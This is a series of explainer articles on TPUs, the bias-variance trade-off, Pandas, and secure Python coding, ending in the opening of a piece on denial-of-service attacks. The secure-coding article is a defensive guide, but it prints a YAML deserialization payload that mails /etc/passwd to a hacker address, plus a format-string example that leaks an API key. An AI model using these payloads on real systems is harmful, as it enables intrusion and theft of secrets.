# Tensor Processing Unit

## Summary

Tensor Processing Unit (TPU) is an ASIC announced by Google for executing Machine Learning (ML) algorithms. CPUs are general purpose processors. GPUs are more suited for graphics and tasks that can benefit from parallel execution. DSPs work well for signal processing tasks that typically require mathematical precision. On the other hand, TPUs are optimized for ML. While any of the others could also be used for ML, TPUs are expected to bring better performance per watt for ML. In fact, TPUs are said to catapult computing power seven years into the future, which is equivalent to three generations of Moore's Law.

Google claims that TPUs are tailored for running TensorFlow, which is an open-source software library for Machine Intelligence.

## Discussion

### What is Google's interest in making the TPU?

Google has claimed that "great software shines brightest with great hardware underneath." This is particularly true of ML where a TPU would offer software the requisite power to run faster and hence process more data. Google wants to use TPUs to power its ML algorithms. As of May 2016, more than 100 teams are said to be using ML within Google. Google Today, Street View, Inbox Smart Reply, RankBrain and voice search are products that are already benefiting from TPU hardware. AlphaGo used TPUs to defeat Go world champion Lee Sedol.

Beyond Google's internal projects, TPUs can offer an advantage for all ML applications implemented in TensorFlow. ML applications looking to run out of a cloud infrastructure will tend to prefer Google Cloud Platform powered by TPUs. Likewise, TPUs may be a differentiator for Google Cloud Platform when application developers select an ML service API for their applications. For example, Google Cloud Machine Learning is a managed ML service from Google that will directly benefit from TPUs.

There's also the claim that TPU may be Google's answer to Intel's Xeon processors that dominate datacenters.

### Can TPUs be used for ML frameworks other than TensorFlow?

TensorFlow is not the only framework for ML. More specifically, there are multiple frameworks for Deep Learning (DL).

Google has not disclosed if TensorFlow algorithms are hardwired in TPU or if TPU is a generic accelerator for ML. Instead, Google has said that TPU is "tailored for TensorFlow". However, with the release of Cloud TPU, Facebook researcher and creator of PyTorch commented that there's a plan to port PyTorch to TPU.

### Could you compare the performance of TPU against CPU or GPU?

Tests show 83x performance per watt gain over CPUs and 29x gain over GPUs. When tested for various neural networks, in terms of predictions per second, we see a 71x gain over CPUs for the particular case of a convolutional neural network (CNN) of 89 layers and 100 million weights.

Within Google's AI workloads, speed gains are in the range of 15x to 30x. In terms of energy efficiency, gains are in the range of 30x to 80x.

Note that the numbers above are for the initial TPU version. With later versions of TPU, we can expect higher performance gains.

### How is TPU able to achieve its superior performance compared to other processor types?

Whereas CPUs are generic processors, the design of TPU is focused on ML workloads. The following design choices give it superior performance:

    + **Quantization**: Integer operations are used instead of floating point operations. Precision is sacrificed for performance.
    + **CISC & Matrix Multiplier Unit (MXU)**: TPU prefers CISC over RISC instruction architecture. A single instruction can trigger complex operations that are handled by MXU. CPUs is a scalar processor; GPUs is a vector processor; MXU is a matrix processor that can hundreds of thousands of operations in a single clock cycle.
    + **Systolic Array**: Arithmetic operations, done in Arithmetic Logic Unit (ALU), are chained together, thus reducing register accesses. The generality of CPUs/GPUs is sacrificed for simpler energy-efficient design since ALUs in GPUs do the operations in fixed patterns.
    + **Minimal & Deterministic**: CPUs and GPUs have a large control logic to handle caches, branch prediction, out-of-order execution, and so on. TPU's control logic is only 2% of the die. This minimalism also makes it deterministic: we can predict execution latency.

### Doesn't low-precision arithmetic reduce accuracy of calculations?

Research has shown that deep learning algorithms are not affected by low-precision arithmetic. In fact, low-precision arithmetic can be used for both training as well as inference. This is because ML is essentially probabilistic in nature and high-precision arithmetic is unnecessary. One writer reported that "having more data that is less precise yield better results than having half as much data that was more precise." In fact, addition of noise during training can improve performance.

One report claimed that Google intends to use TPU only for inference. The report added that low-precision arithmetic is not suited for training. Since the release of TPU2, it's clear that these can be used for both training and inference. With both TPU2 and TPU3, perhaps due to ML training needs, Google's own `bfloat16` is being used for float point operations.

### What's the competition for Google's TPU?

Nvidia dominates the ML processor market with its GPUs. Nvidia has specialized its Tesla GPUs, named **Pascal**, that are suited for ML. These can be used either for training or for inference. Nvidia's **Volta** equipped with 640 tensor cores is Pascal's successor.

Movidius makes Visual Processing Units (VPUs), named **Myriad 2**, that offer visual intelligence at device level. Intel announced in November 2016 an AI processor named **Nervana** for both training and inference. It's first commercial version, named *Nervana Neural Net L-1000*, was announced in May 2018. IBM's own chip named **TrueNorth** is capable of deep learning inferences. Mid-2018, IBM announced an unnamed prototype chip capable of both training and inference.

Microsoft has been using FPGAs in its datacenters since these can be configured easily unlike ASICs. In May 2018, Microsoft announced *Project Brainwave* and claims that it makes Azure the fastest cloud for real-time AI.

ARM is promoting its **MALI** GPUs to offload ML processing from its Cortex CPUs. Others in the AI chip space include Graphcore, Cerebras and Vathys.

### Are there any performance results comparing TPUs against Nvidia's GPUs?

One engineer at RiseML has compared Cloud TPU (consisting of 4 TPUv2) against Nvidia 4 V100s. In both cases, each core had 16 GB of memory. The former was on Google Cloud while the latter was on AWS. The performance test was on ResNet-50.

In terms of raw throughput without any pre-processing, both had comparable results. However, when batch sizes were decreased, V100s showed better performance. When looking at cost, Google Cloud offers better value for money.

In the real world, we are more interested in the cost for achieving a desired level of accuracy. Cloud TPU outperforms here, costing $55 for an accuracy of 75.7%. The same on AWS reserved instances cost $88. Cloud TPU also results in faster convergence, perhaps due to pre-processing. V100s achieve a final accuracy of 75.7% after 84 epochs, whereas Cloud TPU does it in only 64 epochs. An epoch in deep learning is a single pass of the dataset through the neural networks and multiple epochs are needed for convergence.

### Is Google's TPU anyway connected to SGI's product of the same name?

No. Silicon Graphics had something called a TPU in its workstations in the 2000s. It was an advanced DSP that used dynamic shared-memory access. This has nothing to do with Google's TPU.

## Milestones

2013

Google realizes that with the growing computational demand of neural networks, it would have to double the number of data centers. This concern triggers the design and development of TPU ASIC.

May
2016

Google announces that it's been using TPUs in its data centers for ML for more than a year. In its original form, it's packaged as an external accelerator card that can be easily installed into SATA hard disk slot. The TPU ASIC is built on 28nm process, runs at 700MHz and consumes 40W.

Jan
2017

Qualcomm announces that it has optimized TensorFlow for the **Hexagon 682** DSP.

Dec
2017

Google reveals details of TPU2, second-generation TPU. Each TPU2, composed of four TPU2 chips, can deliver 180 teraflops, 64GB of high-bandwidth memory and 2,400GB/s memory bandwidth. These can be interconnected to make a **TPU2 Pod** capable of 11.5 petaflops.

Feb
2018

As a beta release, users can use **Cloud TPU** on Google Cloud Platform to accelerate the training of ML models. This is really TPU2 offered on the cloud. Models can now be trained overnight rather than in days or weeks. No special programming expertise is needed; TensorFlow can be used and reference implementations are available. The cost is $6.5/hour compared to Amazon's $24/hour.

May
2018

Google announces **TPU 3.0**, which requires liquid cooling. A single TPU3 chip is capable of 90 teraflops.

Tensor Processing Unit


# Bias-Variance Trade-off

## Summary

In statistics and machine learning, we collect data, build models from this data and make inferences. Too little data, the model is most likely not representative of truth since it's biased to what it sees. Too much data, the model could become complex if it attempts to deal with all the variations it sees.

Ideally, we want models to have low bias and low variance. In practice, lower bias leads to higher variance, and vice versa. For this reason, we call it Bias-Variance Trade-off, also called *Bias-Variance Dilemma*.

There are techniques to address this trade-off. The idea is to get the right balance of bias and variance that's acceptable for the problem. A good model must be,

> Rich enough to express underlying structure in data and simple enough to avoid fitting spurious patterns.

## Discussion

### Could you explain bias-variance trade-off with examples?

Suppose we collect income data from multiple cities across professions. While income can be correlated with profession, there will be variations across cities due to differing lifestyles, cost of living, tax rules, etc. For example, a doctor in London would have a higher income than a doctor in Leicester. This can be called heterogeneity in data. In regression modelling, a model built on this data will have high variance and predictions may not be accurate.

We can overcome this by making the data more homogeneous by splitting the data by city. Thus, we'll end up with multiple models, one per city. Each model is biased to its city but has lesser variance. We could also choose to split the data by state or region. The amount of variance that can be tolerated will dictate bias.

Consider KNN classification as another example. At low \(k\), predictions are not consistent due to high variations. When we consider more neighbours, we get better predictions as variance is reduced. However, if \(k\) is too high we start considering neighbours that are "too far", which contributes to increased bias.

### What's the intuition behind bias-variance trade-off?

Assume we're building a prediction model. We build multiple models from different data samples. **Bias** is a measure of how far the predictions are from the true value. **Variance** is a measure of variability across these models. This is illustrated graphically with a bulls-eye diagram.

Intuitively, we can say that a biased model is too simple. It's unable to capture essential patterns in the training data. We say that such a model is **underfitting** the data.

On the other hand, a model with high variance is a complex model. It's in fact sensitive to the training data. It's **overfitting** the data. When it sees new data, it's unable to predict correctly since it's overfitted to the training data. We might also state that such a model **does not generalize** well. A simpler model would have done better but if it becomes too simple it also becomes biased.

In summary, a biased model is underfitted and of low complexity. A model of high variance is overfitted and of high complexity.

### What's the math behind bias-variance trade-off?

Given x-y data points, we can represent the relationship as \(Y = f(X) + \epsilon\), where \(\epsilon\) is the error term of Normal distribution \(N(0,\sigma\_\epsilon)\). Let \(\hat{f}(X)\) be an estimate of \(f(X)\) obtained via any modelling technique such as linear regression or KNN. Let's use mean squared error for the prediction error. Thus, the expected prediction error at point \(x\) is,

$$\begin{align}\Bbb{E}[(y - \hat{f}(x))^2] = & \; \Bbb{E}[(f(x) - \Bbb{E}[\hat{f}(x)])^2] \\ & + \Bbb{E}[(\hat{f}(x) - \Bbb{E}[\hat{f}(x)])^2] \\ & + {\sigma\_\epsilon}^2\end{align}$$

The first term is the squared bias of the estimator. The second term is the variance of the estimator. The third term is simply noise. A perfect model would eliminate both bias and variance, but not the noise. Noise contributes to what we call *irreducible error*. \(\Bbb{E}[\hat{f}(x)]\) is the average prediction from various estimators. Each estimator is trained on a different sampling of the dataset.

The idea of separating and analysing bias and variance terms of the prediction error is called *bias-variance decomposition*.

Perfect models don't exist. In practice, we aim for a model that attempts to minimize the error, neither underfitting nor overfitting.

### Could you explain specific examples of high/low bias/variance?

In this example, we use \(f(x)\) for the underlying process (purple) and \(\hat{f}(x)\) for our estimate of the process (orange). Individuals fit functions (orange) are averaged to give \(\Bbb{E}[(\hat{f}(x)]\) (green).

Consider a nonlinear process \(f(x)\) (top figure). We don't know that it's nonlinear. We attempt to fit a linear function \(\hat{f}(x)\) to the data. The data may also contain noise. We take different samples of the data and find suitable fits. None of the lines are close to \(f(x)\). Thus, our fits are all biased, in fact, biased towards linear functions. However, all lines are not too different, which implies low variance.

Now consider a linear process \(f(x)\) (bottom figure). We now attempt to fit a nonlinear function \(\hat{f}(x)\) to the data. The functions are complex enough to fit the data and the noise. In fact, it's overfitting. Each nonlinear curve fits its own data and the curves all look different. Thus, our model \(\hat{f}(x)\) exhibits high variance. When we average these fits, we get a line that close to the original process. Thus, there's low bias.

### How can I calculate the bias and variance of my model?

Bias and variance can be calculated only when we have multiple estimators, each trained on a different dataset. In practice, we usually have a single dataset to train an estimator. In such a case, we can use bootstrapping or cross validation.

We don't usually calculate bias and variance. Instead, the dataset is divided into training and test sets. The model is trained on the training set. It's then evaluated for the prediction error on the test set. This is equivalent to selecting the best one from a candidate list of estimators using bias and variance of each estimator. This similarity can also be observed with the error curves for \({Bias}^2 + Variance\) and test set.

Overfitting can be observed when the training set error drops but the test set error increases. This is often an indication to consider a simpler model. Equivalently, in neural networks, it's an indication to stop the training process.

It's important that the test set is not used for training. Otherwise, it's difficult to assess the model's performance.

### What are some possible methods to overcome bias-variance trade-off?

A common myth is to minimize bias at the expense of variance. It's important to minimize both. Resampling techniques such as bagging and cross validation help to reduce variance without increasing bias. By such techniques we build multiple models and predict using an **ensemble** of these models. A specific example is random forests used for classification. The variance of a single decision tree is reduced by random forests. The penalty is memory and computation due to multiple models.

Bagging reduces variance with little effect on bias. **Boosting** is a technique to reduce bias. In practice, boosting can hurt performance on noisy data. Moreover, boosting is known to increase variance at an exponential decaying rate, which some call *exponential bias-variance trade-off*.

### Is bias-variance trade-off applicable to neural networks?

Historically, it was believed that the trade-off applies to neural networks as well. To address the trade-off, early stopping and dropping are techniques to avoid overfitting.

In the 2010s, neural networks challenged the classical bias-variance trade-off. The classical **U-shaped risk curve** was replaced with a **double-descent risk curve**. While bias decreases monotonically, variance first increases and then decreases after a point called the **interpolation threshold**. Beyond this point, as more parameters are added, the network performs better. In fact, this behaviour has been observed not just with neural networks but also with ensemble methods such as boosting and random forests.

In particular, performance is influenced by both width and depth of the network. Bias decreases as width increases. Variances decreases as width increases beyond the threshold. As depth increases, bias decreases and variance increases by a lesser amount. Deeper networks generalize better and this mainly due to lower bias.

### Where exactly is the bias-variance trade-off relevant?

Bias-variance trade-off applies to supervised machine learning. It applies to both classification problems and regression problems. In general, it can be a useful conceptual framework when modelling any complex system.

The trade-off has been useful in analyzing human cognition. Given limited training data, we rely on high-bias, low-variance heuristics. These heuristics are fairly simple but generalize well to a wide variety of situations. Tasks such as object recognition use some "hard wiring" that's later fine tuned by experience. Do humans learn concepts based on prototypes (high bias, low variance) or exemplar models (low bias, high variance)? This sort of question can be investigated by the bias-variance trade-off.

In program analysis, precise abstractions may not lead to better results and bias-variance trade-off has been used to explain this. In fact, a tool produced using cross validation had better running time, found new defects and experienced fewer timeouts.

In reinforcement learning with partial observability, there's a similar trade-off between asymptotic bias and overfitting. A smaller state representation might decrease the risk of overfitting but at the cost of increasing asymptotic bias.

## Milestones

1952

In a paper titled *On empirical spectral analysis of stochastic processes* Grenander introduces what he calls **the uncertainty principle**. He states, "if we want high resolvability we have to sacrifice some precision of the estimate and vice versa." The term resolvability relates to bias whereas the term precision relates to variance.

1975

Given discrete, noisy observations, Wahba and Wold show how a smooth curve can be fitted to the data via **cross validation**. Smoothing can be done to control variance or bias. Cross validation helps in controlling both and obtain a better fit.

1986

Hastie and Tibshirani discuss the bias-variance trade-off in the context of **regression** modelling. This is just an example to show that the trade-off is well known by the 1980s.

1992

Geman et al. note that a feedforward neural network trained by error backpropagation is essentially nonparametric regression. It's a model-free approach but requires lots of training data and slow to converge. A model-based approach learns faster but is also biased: it can't address complex inference problems. They therefore state the trade-off clearly, "whereas incorrect models lead to high bias, truly model-free inference suffers from high variance."

1995

Historically, bias-variance trade-off started in regression with squared loss as the loss function. For **classification** problems, zero-one loss is used. For classification, Kong and Dietterich show that ensembles can reduce bias. In 1996, Breiman shows that ensembles can reduce variance.

1998

Schapire et al. show that ensembles enlarge the margins and thereby enable models to generalize better.

2000

Domingos proposes a **unified bias-variance decomposition** that can be applied to any loss function (squared loss, zero-one loss, etc.). The decomposition is not always additive. He notes that bias-variance trade-off behaviour is dependent on the loss function. Domingos also shows that Schapire's margin-based approach is equivalent to bias-variance-based approach. An ensemble's generalization error can be expressed either as the distribution of the margins or as bias-variance decomposition of the error.

2004

Valentini and Dietterich perform bias-variance analysis on Support Vector Machines (SVMs) to get insights into how SVMs learn. They observe the expected bias-variance trade-off but they also see complex relationships, especially in Gaussian and polynomial kernels. They propose how bias-variance decomposition can be used to develop ensemble methods using SVMs as base learners.

Oct
2018

Neal et al. observe that since the mid-2010s, empirical results show that wider networks generalize better. The classical U-shaped test error curve due to bias-variance trade-off is being defied by neural networks. In their experiments, they show that bias and variance decrease as more parameters are added to the network.

Bias-Variance Trade-off


# Pandas

## Summary

Pandas is a Python package that enables in-memory data manipulation and analysis. It offers many ways to read and store data. It can inspect, clean, filter, merge, combine or transform data to suit the needs of analysis. By mid-2010s, it became an essential tool in the data scientist's toolkit.

Pandas is built on another popular Python package called NumPy. NumPy and Pandas data structures have become common formats that many Python packages tend to support.

Pandas is an open-source BSD-licensed project sponsored by NumFOCUS. Pandas is often seen as Python's answer to similar capabilities in R language.

## Discussion

### Why do I need Pandas when there's NumPy?

NumPy has multi-dimensional arrays that are optimized for numerical computation. NumPy supports element-wise mathematical operations on arrays (addition, division, cosine) and dot product of arrays. Arrays can be transposed, combined, sliced and indexed in flexible ways. Array content can be aggregated (sum, min, max, mean).

Pandas is built on top of NumPy. It can therefore do everything that NumPy can do. In fact, it's easy to convert between Pandas and NumPy data structures, both of which can be used within the same codebase. In addition, Pandas offers methods that simplify data analysis. NumPy isn't flexible or easy to use for statistical work. A NumPy array must contain values of the same type, which is not common in real-world data.

Pandas is better suited for **tabular data**. Consider data stored in a spreadsheet or a database. It's typical to give unique labels to rows and columns. Accessing data by these labels makes it easier to write and maintain code. For this reason, Pandas has much better support reading from or writing to CSV/JSON/Excel/HDF5/HTML files and MySQL databases.

### Could you describe some use cases of Pandas?

We can use Pandas for **data inspection and profiling**. We can view a small sample of the dataset. Data is described using basic statistics: mean, median, mix, max, etc. Profiling can point out missing or duplicate values, or correlations among variables. *Pandas Profiling* is a package that does this automatically.

Another task for a data scientist is **Exploratory Data Analysis (EDA)**. This is done to gain insights into the data and identify possible input features before any modelling is done. Pandas fits nicely the interactive and iterative nature of EDA. *DataPrep.eda* is an EDA tool built on top of Pandas.

Before training a machine learning model, Pandas can simplify **data preparation**. For example, categorical labels are converted to numerical values. Missing values are replaced with mean or median values. Predicted variable is separated from the rest of the dataset. Data are merged, sorted, grouped, filtered, reshaped, etc.

**Time Series Analysis (TSA)** is another use case of Pandas. Pandas has data types to handle date/time values. It can do time-based indexing, time zone handling, resampling, rolling windows, and trend analysis.

### Which are the main features of Pandas?

We note the following important features:

    + **Data Structures**: Inspired by R's `data.frame`, `DataFrame` is a good fit for storing and manipulating tabular data. This includes indices on rows and labels on columns. There's also `Series` (1D vectors) and `Panel` (3D tables).
    + **Input/Output**: Pandas can read/write data between memory and various file formats. For example, reading from a CSV file is just two lines of code whereas this in Java would need 30 lines.
    + **Indexing**: Data can be indexed in many ways. Hierarchical indexing allows intuitive access to high-dimensional data.
    + **Manipulation**: Pandas can reshape or pivot data. It's easy to add or remove columns. Different datasets can be merged or automatically aligned based on the indices. Aggregations and even more sophisticated "group by" operations common with SQL database tables are possible.
    + **Missing Data**: These can be either ignored, dropped or replaced depending on the operation. There are methods to detect the presence of missing data.
    + **Time-Series Data**: There's support for date range generation, frequency conversion, moving windows statistics, date shifting and lagging.
    + **Optimization**: Critical code paths are optimized in Cython or C.

### How well is Pandas supported by other Python packages and tools?

Many well-known Python packages and tools understand or even specialize Pandas `DataFrame` and `Series`. Some of these include pandas-tfrecords, sklearn-pandas, Featuretools, Compose, Altair, Bokeh, Seaborn, qgrid, Spyder, pandas-datareader, PyDatastream, Geopandas, Blaze, Koalas, etc.

For visualization, **matplotlib** can directly read DataFrame type and create plots. For machine learning, **scikit-learn** methods can read a DataFrame, often by specifying the argument `as_frame=True`.

**IPython** understands and displays Pandas datasets in a more user-friendly manner. Via package *ipywidgets*, we can interactively explore Pandas data frames within a Jupyter Notebook environment.

**statsmodels** is a package for econometrics and statistical modelling. This package uses Pandas data structures. It has historical links with Pandas development.

Pandas runs on a single CPU core. With **Dask**, we can parallelize the computation on multiple cores or a cluster of machines. Dask offers `dask.dataframe` that's a composite of many Pandas DataFrames. Dask APIs are also similar Pandas APIs.

With **RAPIDS CuDF**, Pandas DataFrames can run on GPUs. Computations run in parallel on many GPU cores.

### What are some criticisms of Pandas?

Memory management in Pandas could be better. As a rule of thumb, Pandas requires 5-10x as much RAM as the dataset size. There's no native support for multicore execution. There's no support for memory mapping. It's therefore easy to copy an entire dataset by accident when analytics is done only on a small part of it. Support for categorical data could be better. Appending data to a DataFrame is slow. It doesn't have an SQL-like query processing layer.

Pandas is too tightly coupled to NumPy. For example, an entire DataFrame column must be stored in the same NumPy array. This frequently results in doubling memory requirements and additional computation.

Pandas can't read multiple rows in parallel from a CSV file. Likewise, it can't read multiple CSV files in parallel. It doesn't support SQL-like conditional joins.

Some of the limitations noted above are solved by other libraries such as PandasSQL, PySpark, Terality, Vaex, DataTable, Dask and CuDF.

### Which are some online resources to learn Pandas?

The official Pandas documentation is the place for installation guide, user guide, API reference, tutorials, and more. Beginners can start learning from the 10 minutes to pandas user guide. Getting Started tutorials and tutorials from the community are two useful resources.

DataCamp's Pandas Cheatsheet and Irv Lustig's Pandas Cheatsheet are two useful references.

Wes McKinney's book titled *Python for Data Analysis* is recommended.

R developers who wish to learn Pandas can start by looking at how R operations map to Pandas.

Developers who wish to contribute to the Pandas project, can visit their GitHub page.

## Milestones

2009

Pandas is open sourced in late 2009. It's creator, Wes McKinney, started working on the project in April 2008. His intent is to make data analysis easier for Python programmers and even those who're not expert programmers.

2010

McKinney notes at SciPy Conference that other Python packages have appeared recently, offering some of the features of Pandas: Ia, Tab, pydataframe. NumPy and SciPy have made Python more accessible to the scientific community. For statistical modelling, there's StaM, PyMC and SciL. However, there's no **cohesive framework for statistical modelling**. Statisticians continue to prefer R. Pandas is an attempt to change this.

Nov
2013

McKinney, the creator of Pandas, gives a presentation with a sub-title *10 Things I Hate About pandas*. To address some of these, he shares his work on a new tool named **Badger**. It has a consistent type system, compressed columnar binary storage, and an analytical query processor. By late 2015, these ideas result in the formation of **Apache Arrow**.

Oct
2015

Pandas becomes a **fiscally sponsored project of NumFOCUS**. With this, Pandas joins other Python projects that are also sponsored by NumFOCUS: NumPy, Matplotlib, Project Jupyter, and IPython.

Oct
2017

In October 2017, StackOverflow records 5 million visits to questions on Pandas from more than 1 million unique visitors. Many companies use Pandas for data analysis including Google, Facebook and JP Morgan. The rising popularity of Python itself from 2012 onwards has been attributed to the adoption of Pandas by data scientists.

Jan
2019

From January 2019, all future releases of Pandas will support **only Python 3**. This means that the last version to support Python 2 is 0.23.4 (August 2018).

Jan
2020

**Pandas 1.0.0** is released. It requires at least Python 3.6.1. On an experimental basis, data type `NA` is introduced to represent missing data. Data types `SparseSeries` and `SparseDataFrame` are replaced with `Series` and `DataFrame` with `sparsevalues` option. Some APIs are deprecated and others are backward incompatible. Pandas 1.0.0 Release Notes has full details.

Pandas


# Secure Coding with Python

## Summary

Writing secure code is essential for protecting sensitive data and maintaining correct behaviour of applications. This is more relevant today when most applications connect to the web, exchange data and even update themselves. While security considerations and best practices are typically language agnostic, in this article we focus on Python-specific issues.

OWASP's Python Security project has identified three angles: Security in Python (white-box analysis, functional analysis), Security of Python (black-box analysis), and Security with Python (develop security-hardened Python).

While some vulnerabilities are due to the way Python modules and functions behave, others are due to the manner in which third-party packages are distributed. Since Python is an open developer ecosystem, anyone can share their own packages that others can use in their projects. However, this opens up a security risk that developers need to be aware of.

## Discussion

### What are some guidelines for writing more secure Python code?

It's essential to validate user input. If not, an attacker could execute arbitrary code. Python functions `eval()`, `exec()`, `input()`, `popen()`, `subprocess()` and `os.system()` are dangerous in this regard. These could be used to bypass authentication or inject code. For example, Python2's `input()` could be exploited. An input of `passwd` to the statement `if passwd == input("Please enter your password"):` would bypass authentication.

Databases are also vulnerable to inputs. Commonly called SQL injection, using inputs directly in database commands is dangerous. Instead, validate the inputs and query databases via an ORM. Among the well-known Python ORMs are Django ORM, SQLAlchemy and Peewee.

Python `assert` statement must be used only on invariants for debugging. Using them for authentication (such as `assert user.is_admin, "user does not have access"`) is wrong. Often on production servers, `__debug__ == False` and assert statements won't work.

To create temporary files, avoid the deprecated `tempfile.mktemp()` function. In general, keep your Python distribution and the packages you use up to date. For example, earlier CPython implementations of Python had memory overflow errors that could be exploited for arbitrary code execution.

### How should I manage Python dependencies for a more secure application?

PyPI is the repository from where third-party Python packages can be downloaded and installed if required by your project. Direct dependencies may have further dependencies. Any of these could have malicious code.

It's easy to create a malicious package based on a well-known package since the original code is open source and easily copied. Often these packages behave normally since the malicious code only resides in `setup.py` that executes once during installation. This is enough to install software that can later steal data or monitor behaviour. Some attacks modify the original code, for example, to steal SSH credentials.

Developers can be tricked into installing the wrong package by a slight modification of the original package name. This is called **typosquatting**. There are plenty of examples: `acqusition` impersonates `acquisition`; `bzip` impersonates `bz2file`; `crypt` impersonates `crypto`; `setup-tools` impersonates `setuptools`; `urlib3` impersonates `urllib3`;  `diango` impersonates `django`.

PEP458 proposes signing a package. However, this only verifies its author's identity. Instead, a combination of dynamic analysis (within a sandbox) and static analysis can be used to catch malicious packages.

### What security risks do Python strings pose if used improperly?

Python3 introduced `str.format()` as a more powerful and flexible way to format strings. This method is called on a format string and it accepts Python objects as arguments. The problem is that attributes of these arguments can be accessed from within the format string. If the application allows users control of the format string, they can be misused to leak sensitive data.

There are a few cases where such control may be common. Applications that are translated into multiple languages may use untrusted translators who may be given control of the format string. Some applications may permit users to configure behaviour that might be exposed as format strings.

An example exploit is the code `"{person.__init__.__globals__[CONFIG][API_KEY]}".format(person)`, where sensitive global data from a `CONFIG` dictionary is being accessed via the argument.

We can overcome this by validating the format string. One approach is shown by Armin Ronacher who subclasses `Formatter` and `Mapping`, makes use of `formatter_field_name_split` and throws an `AttributeError` if unsafe formats are detected.

### What's a secure way to do data deserialization in Python?

Deserialization recreates Python objects by reading its representation from disk or network interface. It's possible to deserialize malicious data and thereby execute arbitrary code in your system. This is because objects are not just values. They contain constructors and methods that are executable code.

For example, a web application could store user information in a cookie that's formed using `cPickles` or `pickle` module. The object's `__reduce__` method could be modified to contain malicious code. This method would be called during deserialization. A better approach would be to use `json.loads()`. If `cPickles` is used, verify the payload integrity using cryptographic signatures. PyCrypto is a useful package for this.

Another serialization format is YAML. YAML files can represent Python objects. Like `pickle`, it's possible to modify them to bypass authentication or execute arbitrary code. For example, configuration files in Ansible are YAML files. The following code obtains passwords and emails the same to the hacker's address: `!!python/object/apply:os.system ["cat /etc/passwd | mail hacker@domain.com"]`. Essentially, it's unwise to deserialize from an untrusted source. A safer alternative is to use `yaml.safe_load()` rather than `yaml.load()`.

### What are some resources for Python developers to create more secure code?

Python core modules that can help developers build security features include `hashlib`, `hmac` and `secrets`. For passwords and security tokens, `secrets` must be preferred over `random`. Functions `hmac.compare_digest()` and `secrets.compare_digest()` are designed to mitigate timing attacks.

Bandit is a useful static linter that can alert developers to common security issues in code. Another static analyzer, open sourced by Facebook, is Pysa. To audit installed packages and their versions, use a tool such as Chef InSpec. PyUp tracks thousands of Python packages for vulnerabilities and makes pull requests to your codebase automatically when there are updates.

Python Security is an OWASP project aimed at creating a security-hardened version of Python. Their page on security concerns in modules and functions is worth reading. They've also curated a list of Python libraries for security applications.

Some Python Enhancement Proposals (PEPs) specific to security are worth reading for in-depth understanding. Among them are PEP458, PEP506, PEP551, and PEP578.

## Milestones

Dec
2008

Python 3.0 is released. This release includes *PEP 3101 -- Advanced String Formatting*. Strings can now be formatted using the `str.format()` method. For more secure code, it's noted that applications shouldn't format strings from untrusted sources. The next best approach is to ensure that string formatting doesn't result in visible side effects, though this is not easy to achieve given the open nature of Python.

Jul
2011

Marco Slaviero publishes a detailed report on the many possible exploits and attack scenarios on the `pickle` module. He gives guidelines on how to write shellcode to create such exploits. He provides a library of exploits such as retrieve a list of globals and locals, make operating system calls, execute arbitrary Python code, alter local variables or create a DoS attacks.

Dec
2016

Python 3.6.0 is released. This release includes the `secrets` module that's documented in *PEP 506*. Python's existing `random` module is not suited for security purposes. Though documentation makes this clear, many implementations are seen to ignore this warning. To solve this problem, `secrets` module includes ready-to-use functions for managing passwords, tokens and other secrets.

Oct
2018

Bertus, a software security engineer, creates a static analysis tool to automatically detect if a package published on PyPI is malicious. From a scan of 123,000 packages, he identifies about a dozen such packages containing various exploits.

Nov
2019

Discussions start towards implementing *PEP 458 -- Secure PyPI downloads with signed repository metadata*. Although this PEP was started in 2013, funding becomes available only recently. The idea of this proposal is that authors need not sign the packages they upload to PyPI. PyPI will automatically sign these packages using keys managed by PyPI. This is called **minimum security model**. This PEP doesn't address the maximum security model in which authors can sign the packages.

Dec
2019

German software developer Lukas Martini finds two packages on PyPI that are doing **typosquatting**. These are `python3-dateutil` (impersonating `dateutil`) and `jeIlyfish` (impersonating `jellyfish`). The former doesn't have any malicious code but it imports the latter. Package `jeIlyfish` downloads a file, decodes that into Python code and executes it. This code attempts to read SSH and GPG keys from the computer and send them to a specific IP address.

Aug
2020

Facebook open sources **Pysa**, a static analysis code to detect and prevent security issues in Python code. It's shipped as part of **Pyre**, a static type checker tool. Pysa tracks data flows. Developers define sources where data originates and sinks where data shouldn't end up. It warns when data reaches a sink. It has techniques to mitigate false positives and false negatives.

Secure Coding with Python


# Denial-of-Service Attack

## Summary

Denial of Service (DoS) attack is the practice of flooding a system either with traffic or by disrupting the system in such a way that it will cause difficulty for the users to access the system. This attack often leads to a massive loss for the organisation. DoS attacks can be categorised in different ways, but the attacker's main aim is to target network availability by attacking the network's bandwidth or connectivity. The attacker tries to be anonymous by hiding the source of the traffic.

There are several techniques and tools to avoid or prevent DoS attacks. The most basic technique is the detection technique.

## Discussion

### What are the statistics for DoS attacks worldwide?

One research showed that more than 20M DoS attacks happen, targeting about 2.2M / 24 IPv4 network blocks. The figure depicts attacks that are most prominent around the world. There is also a 1-10 grading system, where 10 is the most fatal attack experienced. London has the highest DoS attack with a cumulative score of 230. This is followed by Milano with 202, Ashburn with 121, Frankfurt with 117, Buenosaires with 87, Saopaulo and Seoul with 68, Amsterdam with 52, Singapore with 50, and Portland with 50. After this, Mumbai is next, with a cumulative score of 47 from the top 20 places having fatal attacks.

| Country | Targets | % |
| --- | --- | --- |
| US | 1232k | 29.50% |
| China | 416k | 9.96% |
| France | 323k | 7.73% |
| GB | 266k | 6.37% |
| Germany | 216k | 5.18% |
| Other | 1727k | 41.26% |

The table tells the number of IP addresses targeted with the percentage of all observed attacks with the help of Honeypot. The observation is based on the NetAcuity Edge IP geolocation database.

### In what ways can a DoS attack be a threat to systems?

Specific resources become targets through DoS attacks. An attack can compromise the **network bandwidth**, aiming at the connection between the web server, the global internet, or any appliances connected to the network. Some of the attacks on web services can be SOAP array attack, XML entity expansion or oversized cryptography.

**System resources** are the next target where the system becomes overloaded with continuous requests. These obstruct responses to the actual users. One example is when the attacker sends a massive number of virtual connections to consume the memory and CPU resources of the target server. In application resources, a specific application in the system is attacked, making it unavailable.

**Firewalls and Intrusion Detection Systems (IDSs)** can be DoS attack targets. Such attacks fall into two classes:

    + Stateful: Attack causes an excessive state or state with a pathological structure.
    + Stateless: Attack exhausts the processing resources.Attacks on an IDS face the same problems as firewalls but differ because some detectable attacks will be missed instead of denying services.

### What are the types of DoS attacks that attackers use?

DoS attacks are categorised as weakness-based or flooding attacks.

**Weakness-based attack** uses weaknesses of the internet system. Ping of death attack, TCP-SYN attack, HTTP Post and HTTP Get and Slowloris come under weakness-based attacks.

